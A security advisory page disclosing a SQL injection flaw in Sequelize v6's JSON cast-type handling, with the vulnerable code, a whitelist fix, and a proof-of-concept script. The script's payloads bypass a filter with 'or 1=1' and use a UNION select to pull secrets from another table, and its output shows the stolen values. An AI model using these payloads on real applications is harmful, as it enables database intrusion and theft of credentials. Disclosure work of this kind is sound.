GHSA-6457-6jrx-69cr

    Dashboard / Vulnerabilities / GHSA-6457-6jrx-69cr

    GHSA-6457-6jrx-69cr

    Published: 11 Mar 2026Last Modified: 10 Sept 2026

    Summary: Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

    Details: ### Summary SQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. Affected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected. ### Details In `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation: ```javascript // line 1892 _traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; } // ... items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item })); } ``` `_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly: ```javascript return `CAST(${result} AS ${smth.type.toUpperCase()})`; ``` JSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not. **Suggested fix** — whitelist known SQL data types: ```javascript const ALLOWED_CAST_TYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]); if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) { throw new Error(`Invalid cast type: ${cast}`); } ``` ### PoC `npm install [email protected] sqlite3` ```javascript const { Sequelize, DataTypes } = require('sequelize'); async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false }); const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON, }); const Secret = sequelize.define('Secret', { key: DataTypes.STRING, value: DataTypes.STRING, }); await sequelize.sync({ force: true }); await User.bulkCreate([ { username: 'alice', metadata: { role: 'admin', level: 10 } }, { username: 'bob', metadata: { role: 'user', level: 5 } }, { username: 'charlie', metadata: { role: 'user', level: 1 } }, ]); await Secret.bulkCreate([ { key: 'api_key', value: 'sk-secret-12345' }, { key: 'db_password', value: 'super_secret_password' }, ]); // TEST 1: WHERE clause bypass const r1 = await User.findAll({ where: { metadata: { 'role::text) or 1=1--': 'anything' } }, logging: (sql) => console.log('SQL:', sql), }); console.log('OR 1=1:', r1.map(u => u.username)); // Returns ALL rows: ['alice', 'bob', 'charlie'] // TEST 2: UNION-based cross-table exfiltration const r2 = await User.findAll({ where: { metadata: { 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x' } }, raw: true, logging: (sql) => console.log('SQL:', sql), }); console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`)); // Returns: api_key=sk-secret-12345, db_password=super_secret_password } main().catch(console.error); ``` **Output:** ``` SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ] SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0 UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x'; UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ] ``` ### Impact **SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB). A common vulnerable pattern: ```javascript app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); }); ```

    Affected packages

    Package

    Name: sequelize

    Purl: pkg:npm/sequelize

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 6.0.0-beta.1
    Fixed -6.37.8

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-6457-6jrx-69cr | CVE-DB